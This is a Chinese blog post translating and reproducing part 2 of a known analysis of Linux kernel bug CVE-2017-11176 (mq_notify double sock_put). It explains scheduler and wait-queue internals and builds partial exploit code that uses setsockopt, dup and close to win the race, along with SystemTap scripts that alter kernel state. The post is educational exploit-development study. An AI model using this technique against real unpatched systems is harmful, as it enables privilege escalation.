Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

【翻译&复现】CVE-2017-11176分析(2)

根据lexfo博客进行的CVE-2017-11176分析和复现(第二部分)。

源自文章:

https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html

https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part2.html

https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html

https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part4.html

0x00 前言

此前的文章中我们详细分析了CVE-2017-11176(mq_notify: double sock_put())的原理和相关攻击场景。我们在System Tap的帮助下“强制”在内核态触发并验证了这个bug,并编写了第一个版本的exp。有三个触发bug的条件:

  1. 强制*netlink_attachskb()*返回1
  2. Unblock exploit thread
  3. 强制第二次*fget()*返回NULL

在这篇文章中,我们将会尝试不使用System Tap,而是只通过用户态代码来满足上述条件。在本文的结尾,我们将会有能稳定触发bug的poc代码。

0x01 核心概念 #2

在核心概念的第二部分将会介绍调度子系统。首先关注的是任务状态和一个任务如何在不同状态间进行转换。注:实际的调度器算法CFS不会在这讨论。主要讨论的是等待队列,因为在Unblock thread和获取任意函数调用的时候会用到。

任务状态

任务的运行状态保存在task_struct的state中,一个任务一定是所有状态的其中之一

  • Running:进程正在CPU上执行或正在等待被运行
  • Waiting:进程由于等待事件或资源,处于等待或睡眠状态,
  • ……

一个正在运行的任务(TASK_RUNNING)属于run queue,它正在被执行或即将被执行。而一个正在等待的任务没有被任何一个CPU执行,它可以在wait queues或信号的帮助下被唤醒。正在等待的任务最常见的状态是TASK_INTERRUPTIBLE

状态被定义在:

1
2
3
4
5
// [include/linux/sched.h]

#define TASK_RUNNING 0
#define TASK_INTERRUPTIBLE 1
// ... cut (other states) ...

state可以直接使用或者通过使用current宏的**__set_current_state()**:

1
2
3
4
// [include/linux/sched.h]

#define __set_current_state(state_value) \
do { current->state = (state_value); } while (0)

Run Queues

结构体rq是调度器中最重要的数据结构之一,每一个在run queue中的任务都会被CPU执行,每一个CPU拥有自己的run queue(运行真正的多任务)。run queue包含在给定CPU上运行“可选”(由调度器)的任务列表。它还有调度器用于做出“公平”选择的统计信息,并最终重新平衡每个CPU之间的负载(即CPU迁移)。

Run queue包含在给定CPU上运行(由调度程序)“可选”的任务列表。 它还具有调度程序用于做出“公平”选择的统计信息,并最终重新平衡每个CPU之间的负载(即CPU迁移)。

1
2
3
4
5
6
7
8
// [kernel/sched.c]

struct rq {
unsigned long nr_running; // <----- statistics
u64 nr_switches; // <----- statistics
struct task_struct *curr; // <----- the current running task on the cpu
// ...
};

注:在使用CFS的时候,存储实际任务列表的方式有点复杂,但这并不重要。

为了简单起见,考虑从任何run queue中移出的任务不会被执行(即没有CPU来执行它)。这正是deactivate_task()**函数的功能,而activate_task()**功能相反。

阻塞一个任务与schedule()

当一个任务想要从running转换成waiting状态时,它需要至少做两件事:

  1. 设置它的运行状态为TASK_INTERRUPTIBLE
  2. 唤起**deactivate_task()**将它从run queue中移出

实际上,没有人直接调用deactivate_task()**,而是调用schedule()schedule()是调度器的主要函数,当调用它时,必须选择下一个(running)任务在CPU上运行,也就是说必须更新run queue的curr**字段。

但是,如果在当前任务状态不是running时调用schedule()**(即其状态与零不同),并且没有信号挂起,则它将调用deactivate_task()**:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
asmlinkage void __sched schedule(void)
{
struct task_struct *prev, *next;
unsigned long *switch_count;
struct rq *rq;
int cpu;

// ... cut ...

prev = rq->curr; // <---- "prev" is the task running on the current CPU

if (prev->state && !(preempt_count() & PREEMPT_ACTIVE)) { // <----- ignore the "preempt" stuff
if (unlikely(signal_pending_state(prev->state, prev)))
prev->state = TASK_RUNNING;
else
deactivate_task(rq, prev, DEQUEUE_SLEEP); // <----- task is moved out of run queue
switch_count = &prev->nvcsw;
}

// ... cut (choose the next task) ...
}

最后,任务可以通过执行以下代码来阻塞:

1
2
3
4
5
void make_it_block(void)
{
__set_current_state(TASK_INTERRUPTIBLE);
schedule();
}

任务将会持续阻塞直到有人唤醒它。

Wait Queues

等待资源或特殊事件非常普遍。 例如,如果运行服务器,主线程可能正在等待传入连接。除非它被标记为“非阻塞”,否则accept()系统调用将阻塞主线程。也就是说,主线程被卡在内核中,直到有东西唤醒它。

wait queue是当前被阻塞进程的双向链表,有的人可能会把它看run queue的“对立面”。其本身用wait_queue_head_t表示:

1
2
3
4
5
6
7
8
// [include/linux/wait.h]

typedef struct __wait_queue_head wait_queue_head_t;

struct __wait_queue_head {
spinlock_t lock;
struct list_head task_list;
};

struct list_head是Linux实现双向链表的类型。

链表中的元素类型是wait_queue_t

1
2
3
4
5
6
7
8
9
10
11
// [include/linux.wait.h]

typedef struct __wait_queue wait_queue_t;
typedef int (*wait_queue_func_t)(wait_queue_t *wait, unsigned mode, int flags, void *key);

struct __wait_queue {
unsigned int flags;
void *private;
wait_queue_func_t func; // <----- we will get back to this
struct list_head task_list;
};

一个wait queue的元素可以使用宏定义**DECLARE_WAITQUEUE()**创建:

1
2
3
4
5
6
7
8
9
// [include/linux/wait.h]

#define __WAITQUEUE_INITIALIZER(name, tsk) { \
.private = tsk, \
.func = default_wake_function, \
.task_list = { NULL, NULL } }

#define DECLARE_WAITQUEUE(name, tsk) \
wait_queue_t name = __WAITQUEUE_INITIALIZER(name, tsk) // <----- it creates a variable!

调用方式:

1
DECLARE_WAITQUEUE(my_wait_queue_elt, current); // <----- use the "current" macro

最后,一旦声明了一个wait queue的元素,就可以使用**add_wait_queue()**将其排入wait queue中。它仅将元素添加到双向链表中并使用了锁。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// [kernel/wait.c]

void add_wait_queue(wait_queue_head_t *q, wait_queue_t *wait)
{
unsigned long flags;

wait->flags &= ~WQ_FLAG_EXCLUSIVE;
spin_lock_irqsave(&q->lock, flags);
__add_wait_queue(q, wait); // <----- here
spin_unlock_irqrestore(&q->lock, flags);
}

static inline void __add_wait_queue(wait_queue_head_t *head, wait_queue_t *new)
{
list_add(&new->task_list, &head->task_list);
}

调用**add_wait_queue()**又被称为”registering to a wait queue”。

Waking up a task

到目前为止,我们知道两种队列:run queues和wait queues。要阻塞一个任务就是使用**deactivate_task()**将其从run queue中删除,但它如何从阻塞(休眠)状态转换回运行状态?

:阻塞的任务可以通过信号或其他方式唤醒,但这超出了本次的讨论范围。

由于被阻塞的任务不再运行,因此无法自行唤醒,唤醒工作需要由另一个任务完成。

具有特定资源所有权的数据结构具有wait queue,当任务想要访问此资源但不可用时,改任务可以使自己处于休眠状态,直到资源所有者唤醒为止。为了在资源可用时被唤醒,它必须注册到资源的等待队列。正如我们之前看到的,这个“注册”是通过add_wait_queue()**完成的。当资源可用时,资源所有者唤醒一个或多个任务,以便它们能够继续执行。这是通过__wake_up()**完成的。

当资源可用时,所有者唤醒一个或多个任务,以便他们可以继续执行。这是通过__wake_up()函数完成的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// [kernel/sched.c]

/**
* __wake_up - wake up threads blocked on a waitqueue.
* @q: the waitqueue
* @mode: which threads
* @nr_exclusive: how many wake-one or wake-many threads to wake up
* @key: is directly passed to the wakeup function
*
* It may be assumed that this function implies a write memory barrier before
* changing the task state if and only if any tasks are woken up.
*/

void __wake_up(wait_queue_head_t *q, unsigned int mode,
int nr_exclusive, void *key)
{
unsigned long flags;

spin_lock_irqsave(&q->lock, flags);
__wake_up_common(q, mode, nr_exclusive, 0, key); // <----- here
spin_unlock_irqrestore(&q->lock, flags);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    // [kernel/sched.c]

static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
int nr_exclusive, int wake_flags, void *key)
{
wait_queue_t *curr, *next;

[0] list_for_each_entry_safe(curr, next, &q->task_list, task_list) {
unsigned flags = curr->flags;

[1] if (curr->func(curr, mode, wake_flags, key) &&
(flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
break;
}
}

此函数迭代wait queue[0]中的每个元素(list_for_each_entry_safe()**是与双向链表一起使用的公共宏)。对于每个元素,它调用func()回调函数[1]。还记得DECLARE_WAITQUEUE()宏吗?它将func回调设置成default_wake_function()**:

1
2
3
4
5
6
7
8
9
// [include/linux/wait.h]

#define __WAITQUEUE_INITIALIZER(name, tsk) { \
.private = tsk, \
.func = default_wake_function, \ // <------
.task_list = { NULL, NULL } }

#define DECLARE_WAITQUEUE(name, tsk) \
wait_queue_t name = __WAITQUEUE_INITIALIZER(name, tsk)

反过来,default_wake_function()**只使用wait queue元素的私有字段调用try_to_wake_up()**(在大多数情况下指向睡眠的任务的task_struct):

1
2
3
4
5
int default_wake_function(wait_queue_t *curr, unsigned mode, int wake_flags,
void *key)
{
return try_to_wake_up(curr->private, mode, wake_flags);
}

最后,try_to_wake_up()**是schedule()的对立面,当schedult()调出当前任务时,try_to_wake_up()**可使其再次可调度。也就是说,它将其置于run queue中并改变其运行状态。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static int try_to_wake_up(struct task_struct *p, unsigned int state,
int wake_flags)
{
struct rq *rq;

// ... cut (find the appropriate run queue) ...

out_activate:
schedstat_inc(p, se.nr_wakeups); // <----- update some stats
if (wake_flags & WF_SYNC)
schedstat_inc(p, se.nr_wakeups_sync);
if (orig_cpu != cpu)
schedstat_inc(p, se.nr_wakeups_migrate);
if (cpu == this_cpu)
schedstat_inc(p, se.nr_wakeups_local);
else
schedstat_inc(p, se.nr_wakeups_remote);
activate_task(rq, p, en_flags); // <----- put it back to run queue!
success = 1;

p->state = TASK_RUNNING; // <----- the state has changed!

// ... cut ...
}

这是调用activate_task()**的地方(还有其他地方),因为任务现在回到run queue中并且其状态为TASK_RUNNING,所以它可能被调度。因此,在调用schedule()**时的位置继续执行。

实际上,很少直接调用**__wake_up()**而是调用辅助宏:

1
2
3
4
5
6
7
8
9
// [include/linux/wait.h]

#define wake_up(x) __wake_up(x, TASK_NORMAL, 1, NULL)
#define wake_up_nr(x, nr) __wake_up(x, TASK_NORMAL, nr, NULL)
#define wake_up_all(x) __wake_up(x, TASK_NORMAL, 0, NULL)

#define wake_up_interruptible(x) __wake_up(x, TASK_INTERRUPTIBLE, 1, NULL)
#define wake_up_interruptible_nr(x, nr) __wake_up(x, TASK_INTERRUPTIBLE, nr, NULL)
#define wake_up_interruptible_all(x) __wake_up(x, TASK_INTERRUPTIBLE, 0, NULL)

一个完整的示例

这是一个简单的例子来总结上述概念:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
struct resource_a {
bool resource_is_ready;
wait_queue_head_t wq;
};

void task_0_wants_resource_a(struct resource_a *res)
{
if (!res->resource_is_ready) {
// "register" to be woken up
DECLARE_WAITQUEUE(task0_wait_element, current);
add_wait_queue(&res->wq, &task0_wait_element);

// start sleeping
__set_current_state(TASK_INTERRUPTIBLE);
schedule();

// We'll restart HERE once woken up
// Remember to "unregister" from wait queue
}

// XXX: ... do something with the resource ...
}

void task_1_makes_resource_available(struct resource_a *res)
{
res->resource_is_ready = true;
wake_up_interruptible_all(&res->wq); // <--- unblock "task 0"
}

一个线程运行task_0_tants_resource_a()**后,会因为资源不可用而被阻塞,在某些时候,资源所有者(来自另一个线程)使其可用并调用task_1_makes_resource_available()。在此之后,task_0_tants_resource_a()**可恢复执行。

我们经常在Linux内核代码中看到pattern,你现在知道它的含义。注意术语“资源”在这以通用方式使用。任务可以等待事件、条件为真或其他情况。每当你看到一个阻塞系统调用时,等待队列的可能性就不大了(Every time you see a “blocking” syscall, chances are a wait queue is not that far)。

0x02 Unblocking the Main Thread

此前的文章中,我们尝试并解决了强制netlink_attachskb()**返回1时的几个问题。第一个问题是调用mq_notify()时被阻塞。为了解决这个问题,我们简单地绕过了对schedule_timeout()的调用,但随后又进入了无限循环。我们通过从文件描述符表(FDT)中删除目标文件描述符来停止循环,这偶然满足了一个条件:它使第二个fget()*调用返回NULL。这是通过System Tap*脚本完成的:

1
2
3
4
5
6
7
8
9
10
11
12
    function force_trigger:long (arg_sock:long)
%{
struct sock *sk = (void*) STAP_ARG_arg_sock;
[0] sk->sk_flags |= (1 << SOCK_DEAD); // avoid blocking the thread

struct netlink_sock *nlk = (void*) sk;
nlk->state |= 1; // enter the netlink_attachskb() retry path

struct files_struct *files = current->files;
struct fdtable *fdt = files_fdtable(files);
fdt->fd[3] = NULL; // makes the second call to fget() fails
%}

在这一章中,我们将会尝试移除脚本中[0]处的代码,这意味着**mq_notify()**的调用会重新阻塞。在这我们有两种解决办法:

  1. 如同stap脚本一样把sock标记为SOCK_DEAD
  2. Unblock thread

控制并赢得条件竞争

我们的主线程被阻止实际上是一件好事,还记得补丁描述了一个关于“窗口”的东西?我们的攻击场景是什么?

流程图

所以,“小窗口”是我们有机会调用close()的地方。调用close()将使fget()的调用返回NULL。窗口本身在调用fget()成功后开启,并在第二次调用fget()之前关闭。在攻击场景中,我们在netlink_attachskb()之后调用close(),但是在stap脚本中,我们实际上是在调用netlink_attachskb()之前模拟了它。

如果我们绕过调用schedule_timeout(),那么竞争窗口确实是“小”的。这不是System Tap的问题,因为我们在调用netlink_attachskb()之前修改了内核数据,我们在用户态不会拥有这种权限。

另一方面,如果我们可以在netlink_attachskb()中间阻塞并有办法恢复它,那么竞争窗口实际上就比我们想的要大。换句话说,我们就有办法控制竞争条件,我们可以将其视作在主线程中设置了“断点”。

(图待上传)

阻塞主线程似乎是赢得条件竞争的一个好方法,但这意味着我们需要有办法恢复被阻塞的主线程。

Identify “unblocker” candidates

在本节中,我们将看到netlink_attachskb()如何被阻塞及解除阻塞。再来看下netlink_attachskb()的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
    // [net/netlink/af_netlink.c]

int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
long *timeo, struct sock *ssk)
{
struct netlink_sock *nlk;

nlk = nlk_sk(sk);

if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
[0] DECLARE_WAITQUEUE(wait, current);

if (!*timeo) {
// ... cut (unreachable code from mq_notify) ...
}

[1] __set_current_state(TASK_INTERRUPTIBLE);
[2] add_wait_queue(&nlk->wait, &wait);

[3] if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) &&
!sock_flag(sk, SOCK_DEAD))
[4] *timeo = schedule_timeout(*timeo);

[5] __set_current_state(TASK_RUNNING);
[6] remove_wait_queue(&nlk->wait, &wait);

sock_put(sk);

if (signal_pending(current)) {
kfree_skb(skb);
return sock_intr_errno(*timeo);
}
return 1;
}
skb_set_owner_r(skb, sk);
return 0;
}

__set_current_state(TASK_INTERRUPTIBLE)[1]和schedule_timeout()[4]的结合使得线程被阻塞,条件[3]为真是因为:

  • 我们使用System Tap强制nlk->state |= 1
  • sock不是DEAD,我们移除了脚本中的sk->sk_flags |= (1 << SOCK_DEAD)

:调用schedule_timeout(MAX_SCHEDULE_TIMEOUT)与调用schedule()等价。

众所周知,如果被阻塞的线程已注册到wake queue中,则可以将其唤醒,该注册使用[0]和[2],而注销在[6]中完成。等待队列本身是nlk-> wait。也就是说,它属于netlink_sock对象:

1
2
3
4
5
6
7
struct netlink_sock {
/* struct sock has to be the first member of netlink_sock */
struct sock sk;
// ... cut ...
wait_queue_head_t wait; // <----- the wait queue
// ... cut ...
};

这意味着,netlink_sock对象负责唤醒被阻塞的线程

nlk->wait wait queue在四个地方被使用:

  1. __netlink_create()
  2. netlink_release()
  3. netlink_rcv_wake()
  4. netlink_setsockopt()

函数__netlink_create()在netlink socket创建的时候被调用,它通过**init_waitqueue_head()**函数初始化一个空的wait queue。

当关联的struct file即将被释放时,将调用函数netlink_release()**(refcounter变为零)。它调用wake_up_interruptible_all()**。

函数netlink_rcv_wake()由netlink_recvmsg()**调用并调用wake_up_interruptible()*。它这么做实际上是有道理的,因为阻塞的第一个原因是因为接收缓冲区已满。如果调用netlink_recvmsg()*,则接收缓冲区中可能会有更多的空闲空间。

最后,netlink_setsockopt()由系统调用setsockopt()调用。如果optname是NETLINK_NO_ENOBUFS,会调用wake_up_interruptible()**。

所以我们有三种候选方案来唤醒我们的线程(__netlink_create()除外,它没有唤醒任何东西)。面对这些选择时,我们需要一条路径:

  • 快速到达我们所需要的目标(在我们的例子中为wake_up_interruptible()),也就是说,少量的函数调用和条件约束等
  • 对内核几乎没有影响和副作用(没有内存分配,不要触及其他数据结构等)

因为我们不想释放与sock相关的struct file并且这是我们可以触发use-after-free的可控方法,我们不使用netlink_release()。

netlink_rcv_wake()路径是最“复杂”的路径,在从recvmsg()系统调用到达它之前,我们需要在generic sock API中通过几个检查,它还分配各种东西等。调用追踪:

1
2
3
4
5
6
7
8
- SYSCALL_DEFINE3(recvmsg)
- __sys_recvmsg
- sock_recvmsg
- __sock_recvmsg
- __sock_recvmsg_nosec // calls sock->ops->recvmsg()
- netlink_recvmsg
- netlink_rcv_wake
- wake_up_interruptible

与之相对比的是setsockopt():

1
2
3
- SYSCALL_DEFINE5(setsockopt) // calls sock->ops->setsockopt()
- netlink_setsockopt()
- wake_up_interruptible

Reaching wake_up_interruptible() from setsockopt syscall

在之前的小节中,调用wake_up_interruptible()最简单的方法是通过setsockopt系统调用。现在分析下有哪些检查是需要我们绕过的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
    // [net/socket.c]

SYSCALL_DEFINE5(setsockopt, int, fd, int, level, int, optname,
char __user *, optval, int, optlen)
{
int err, fput_needed;
struct socket *sock;

[0] if (optlen < 0)
return -EINVAL;

sock = sockfd_lookup_light(fd, &err, &fput_needed);
[1] if (sock != NULL) {
err = security_socket_setsockopt(sock, level, optname);
[2] if (err)
goto out_put;

[3] if (level == SOL_SOCKET)
err =
sock_setsockopt(sock, level, optname, optval,
optlen);
else
err =
[4] sock->ops->setsockopt(sock, level, optname, optval,
optlen);
out_put:
fput_light(sock->file, fput_needed);
}
return err;
}

我们需要:

  • [0] - optlen非负
  • [1] - fd是一个有效的的socket
  • [2] - LSM必须允许我们对socket调用setsockopt()
  • [3] - level与SOL_SOCKET不同

如果我们绕过了这些检查,netlink_setsockopt()[4]将会被调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
    // [net/netlink/af_netlink.c]

static int netlink_setsockopt(struct socket *sock, int level, int optname,
char __user *optval, unsigned int optlen)
{
struct sock *sk = sock->sk;
struct netlink_sock *nlk = nlk_sk(sk);
unsigned int val = 0;
int err;

[5] if (level != SOL_NETLINK)
return -ENOPROTOOPT;

[6] if (optlen >= sizeof(int) && get_user(val, (unsigned int __user *)optval))
return -EFAULT;

switch (optname) {
// ... cut (other options) ...

[7] case NETLINK_NO_ENOBUFS:
[8] if (val) {
nlk->flags |= NETLINK_RECV_NO_ENOBUFS;
clear_bit(0, &nlk->state);
[9] wake_up_interruptible(&nlk->wait);
} else
nlk->flags &= ~NETLINK_RECV_NO_ENOBUFS;
err = 0;
break;
default:
err = -ENOPROTOOPT;
}
return err;
}

在setsockopt()中的检查还有:

  • [5] - level等于SOL_NETLINK
  • [6] - optlen必须大于等于sizeof(int)并且optval**是可读地址
  • [7] - optname等于NETLINK_NO_ENOBUFS
  • [8] - val不等于0

如果我们通过了所有的检查,walk_up_interruptible()将会被调用,被阻塞的进程会被唤醒,下列代码片段就是用来触发它的:

1
2
3
int sock_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_GENERIC); // same socket used by blocking thread
int val = 3535; // different than zero
_setsockopt(sock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val));

Updating The Exploit

在之前的小节中,我们知道了如何通过setsockopt()系统调用从用户态来触发wake_up_interruptible(),但仍有个问题:如何在我们自己被阻塞的时候去调用其他函数?答案就是利用多线程。所以我们将创建另一个线程(调用unblock_thread)并更新我们的exploit(使用”-pthread”编译):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
struct unblock_thread_arg
{
int fd;
bool is_ready; // we could use pthread's barrier here instead
};

static void* unblock_thread(void *arg)
{
struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
int val = 3535; // need to be different than zero

// notify the main thread that the unblock thread has been created
uta->is_ready = true;
// WARNING: the main thread *must* directly call mq_notify() once notified!
sleep(5); // gives some time for the main thread to block

printf("[unblock] unblocking now\n");
if (_setsockopt(uta->fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
perror("setsockopt");
return NULL;
}

int main(void)
{
struct sigevent sigev;
char sival_buffer[NOTIFY_COOKIE_LEN];
int sock_fd;
pthread_t tid;
struct unblock_thread_arg uta;

// ... cut ...

// initialize the unblock thread arguments, and launch it
memset(&uta, 0, sizeof(uta));
uta.fd = sock_fd;
uta.is_ready = false;
printf("creating unblock thread...\n");
if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)
{
perror("pthread_create");
goto fail;
}
while (uta.is_ready == false) // spinlock until thread is created
;
printf("unblocking thread has been created!\n");

printf("get ready to block\n");
if (_mq_notify((mqd_t)-1, &sigev))
{
perror("mq_notify");
goto fail;
}
printf("mq_notify succeed\n");

// ... cut ...
}

可能有人会注意到代码中调用了sleep(5)和修改了uta->is_ready,下面来解释一下。

调用pthread_create()**用于创建线程(即新的task_struct)并启动它。创建任务并不意味着任务将立即运行。为了确保线程已经开始运行,我们使用自旋锁uta->is_ready**。

注:自旋锁是最简单的(active)锁,它循环直到变量状态改变。它active是因为在此期间CPU使用率99%。有人可能想要使用类似原子的变量,但这里不需要,因为只有一个writer和一个reader。

主线程陷入无限循环直到unblock_thread解锁它(将is_ready设置为true)。使用多线程可以实现同样的目的(但它并不总是可用)。注意,这里的自旋锁是可自定义的,它只是对线程创建提供了更多控制。如果使用其他进程来实现这个目的话,通常会干扰到攻击,因为创建进程可能意味着大量内存分配。第3部分将需要相同的技术,所以先不在这里介绍它。

另一方面,我们假设在pthread_create()之后,我们的主线程被抢占了“很长”的时间段(即没有执行)。我们有以下顺序:

(图待上传)

在这种情况下,调用setsockopt()在mq_notify阻塞之前。也就是说,setsockopt并不会解锁主线程。这是解锁主线程后进行sleep的原因。换句话说,它至少有5秒钟的时间来调用mq_notify(),可以放心地认为5秒钟足够,因为:

  • 如果主线程在5秒后仍然被抢占,则目标系统负载很重,也无论如何都没办法执行exploit
  • 如果unblock_thread与主线程(setsockopt在mq_notify()之前执行)竞争,那么我们总是可以发送一个CTRL+C命令。这样会使得netlink_attachskb()返回-ERESTARTSYS。该路径中未触发bug,我们可以重新运行exploit

换句话说,“受控窗口”的持续时间现在是5秒。有的人可能认为这种方式有点简陋,但问题是主线程没用办法通知对方将其唤醒,因为它被阻塞。也许unblock_thread可能可以以某种方式去查询某些信息,但在这里使用sleep就足够了。

Updating The STAP Script

在运行新的exploit之前,我们需要重新修改STAP脚本。现在,我们在调用netlink_attachskb()之前将netlink socket(fd=3)移除,这意味着我们在进入netlink_attachskb()之后调用setsockopt时,sock_fd是无效的,从而导致setsockopt调用失败。所以我们需要在netlink_attachskb()返回时移除fd 3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
function force_trigger_before:long (arg_sock:long)
%{
struct netlink_sock {
/* struct sock has to be the first member of netlink_sock */
struct sock sk;
u32 portid;
u32 dst_portid;
u32 dst_group;
u32 flags;
u32 subscriptions;
u32 ngroups;
unsigned long *groups;
unsigned long state;
size_t max_recvmsg_len;
wait_queue_head_t wait;
bool cb_running;
struct netlink_callback cb;
struct mutex *cb_mutex;
struct mutex cb_def_mutex;
void (*netlink_rcv)(struct sk_buff *skb);
int (*netlink_bind)(int group);
void (*netlink_unbind)(int group);
struct module *module;
};


struct sock *sk = (void*) STAP_ARG_arg_sock;
struct netlink_sock *nlk = (void*) sk;
nlk->state |= 1; // enter the netlink_attachskb() retry path

// NOTE: We do not mark the sock as DEAD anymore
%}

function force_trigger_after:long (arg_sock:long)
%{
struct files_struct *files = current->files;
struct fdtable *fdt = files_fdtable(files);
fdt->fd[3] = NULL; // makes the second call to fget() fails
%}

probe kernel.function("netlink_attachskb")
{
if (execname()=="exploit")
{
printf("(%d-%d) >>> netlink_attachskb (%s)\n", pid(), tid(), $$parms)
force_trigger_before($sk)
}
}

probe kernel.function("netlink_attachskb").return
{
if (execname()=="exploit")
{
printf("(%d-%d) <<< netlink_attachskb = %x\n", pid(), tid(), $return)
force_trigger_after(0)
}
}

我们在netlink_attachskb()中被阻塞5秒,然后另一线程将主线程恢复并使得netlink_attachskb()返回了1。

在本节中,我们知道了如何控制竞争并无限延长窗口(设置为了5秒)。然后我们使用setsockopt唤醒主线程。 我们还介绍了可能在我们的漏洞利用中发生的条件竞争,我们了解了如何通过简单的技巧降低其发生概率。最后,我们仅使用用户态代码删除了由旧脚本满足的一个要求(将SOCK标记为DEAD)。

Making fget() Fail on Second Loop

到此为止,我们还有两个要求需要满足:

  1. 强制netlink_attachskb()返回1
  2. 强制第二次fget()返回NULL
  3. [已完成]唤醒主线程

在本章节中,我们将会尝试让第二次fget()返回NULL,这将让我们在第二次循环中进入到exit的路径:

1
2
3
4
5
6
retry:
filp = fget(notification.sigev_signo);
if (!filp) {
ret = -EBADF;
goto out; // <--------- on the second loop only!
}

为什么fget()会返回NULL

通过System Tap,重置目标fd的FDT项能够使得fget()返回NULL:

1
2
3
struct files_struct *files = current->files;
struct fdtable *fdt = files_fdtable(files);
fdt->fd[3] = NULL; // makes the second call to fget() fails

**fget()**所做的事:

  1. 获得current进程的结构体files_struct
  2. 获得结构体files_struct的fdtable结构体
  3. 获得fdt->fd[fd]的值
  4. 将file结构体的refcounter(如果不为NULL)递增1
  5. 返回file结构体的指针

简而言之,如果特定文件描述符的FDT条目为NULL,则fget()返回NULL。

Reset an Entry in the File Descriptor Table

在STAP脚本中,我们重置了fd 3的fdt入口。我们如何在用户态中完成这件事?有什么办法可以设置fdt?答案就是close()系统调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    // [fs/open.c]

SYSCALL_DEFINE1(close, unsigned int, fd)
{
struct file * filp;
struct files_struct *files = current->files;
struct fdtable *fdt;
int retval;

[0] fdt = files_fdtable(files);
[1] filp = fdt->fd[fd];
[2] rcu_assign_pointer(fdt->fd[fd], NULL); // <----- equivalent to: fdt->fd[fd] = NULL
[3] retval = filp_close(filp, files);
return retval;
}

close()系统调用:

  • [0] - 获得当前进程的FDT
  • [1] - 通过FDT获得指定fd的file结构体
  • [2] - 将相应的FDT项设置为NULL(无条件)
  • [3] - 将file的引用减去1(即调用fput())

因此,这种简单的方法可以重置FDT条目。 然而,它带来了另一个问题。

An Egg and Chicken Issue…

在调用setsockopt()之前调用unblock_thread中的close()是很诱人的。问题是setsockopt()需要一个有效的文件描述符。我们已经通过STAP尝试过它,这就是为什么我们在从netlink_attachskb()返回时添加了fdt重置的代码,而不是netlink_attachskb()调用之前。我们在用户态中遇到同样的问题……

在setsocktopt()之后调用close()会怎么样?如果我们在调用setsockopt()(唤醒主线程)之后调用close(),就不利用扩展的条件竞争的窗口。我们不希望这样。

幸运的是,在Core Concept#1中,已经说过文件描述符表不是1:1映射。也就是说,几个文件描述符可能指向同一个文件对象。如何使两个文件描述符指向相同的struct文件?使用dup()系统调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    // [fs/fcntl.c]

SYSCALL_DEFINE1(dup, unsigned int, fildes)
{
int ret = -EBADF;
[0] struct file *file = fget(fildes);

if (file) {
[1] ret = get_unused_fd();
if (ret >= 0)
[2] fd_install(ret, file); // <----- equivalent to: current->files->fdt->fd[ret] = file
else
fput(file);
}
[3] return ret;
}

dup()的操作正式我们想要的:

  • [0] - 从文件描述符中获取文件对象的引用
  • [1] - 选择一个可用的fd
  • [2] - 使用指向struct file对象的指针设置此新文件描述符的fdt条目
  • [3] - 返回新的fd

最后,我们将拥有两个引用相同file结构体的文件描述符:

  • sock_fd:被mq_notify()和close()使用
  • unblock_fd:被setsockopt()使用

更新Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
struct unblock_thread_arg
{
int sock_fd;
int unblock_fd; // <----- used by the "unblock_thread"
bool is_ready;
};

static void* unblock_thread(void *arg)
{
// ... cut ...

sleep(5); // gives some time for the main thread to block

printf("[unblock] closing %d fd\n", uta->sock_fd);
_close(uta->sock_fd); // <----- close() before setsockopt()

printf("[unblock] unblocking now\n");
if (_setsockopt(uta->unblock_fd, SOL_NETLINK, // <----- use "unblock_fd" now!
NETLINK_NO_ENOBUFS, &val, sizeof(val)))
perror("setsockopt");
return NULL;
}

int main(void)
{
// ... cut ...

if ((uta.unblock_fd = _dup(uta.sock_fd)) < 0) // <----- dup() after socket()
{
perror("dup");
goto fail;
}
printf("[main] netlink fd duplicated = %d\n", uta.unblock_fd);

// ... cut ...
}

移除STAP脚本中的FDT清空代码后执行。测试结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
